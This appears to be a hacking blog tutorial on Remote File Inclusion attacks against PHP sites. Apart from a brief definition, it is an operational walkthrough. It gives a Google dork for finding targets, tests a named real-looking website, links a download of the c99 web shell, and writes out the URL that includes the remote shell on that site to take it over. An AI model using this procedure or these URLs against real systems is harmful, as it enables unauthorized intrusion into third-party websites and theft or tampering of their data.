RFI (Remote File Inclusion) Hacking Explained



Remote File Inclusion (RFI) is a type of vulnerability which allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:-
Code execution on the web server
Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS), Denial of Service (DoS), Data Theft/Manipulation.
Lets Start :

Find a Vunerable websites using Google Dork
Like  “inurl:index.php?page=”
its Most Popular Dork of RFI hacking

This will show all the pages which has “index.php?page=” in their URL, Now to test wheather the website is vulnerable to Remote file Inclusion or not the hacker use the following command
www.targetsite.com/index.php?page=www.google.com

see example of this website  http://www.cbspk.com

So the hacker url will become

http://www.cbspk.com/v2/index.php?page=http://www.google.com

If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not then website is not vulnerable to this attack. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack.

Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:

http://www.sh3ll.org/c99.zip

The hacker would first upload the shells to a webhosting site such as ripway.com, viralhosts.com,110mb.com or another free hosts etc.

Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is http://www.sh3ll.org/c99.txt?

Now here is how a hacker would execute the following command to gain access

http://www.cbspk.com/v2/index.php?page=http://www.sh3ll.org/c99.txt?
Don't Forget To  add “?” after .txt at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it.


your comments and stories are welcome.
Hv gr8 day!

ABOUT THE AUTHOR
AbhiShek SinGh
Founder of 'TheHackingArticles'. Cyber Security Analyst, Cyber Security Researcher, and Software Engineer. Follow 'AbhiShek SinGh' on Facebook , Twitter or Google+ or via Email

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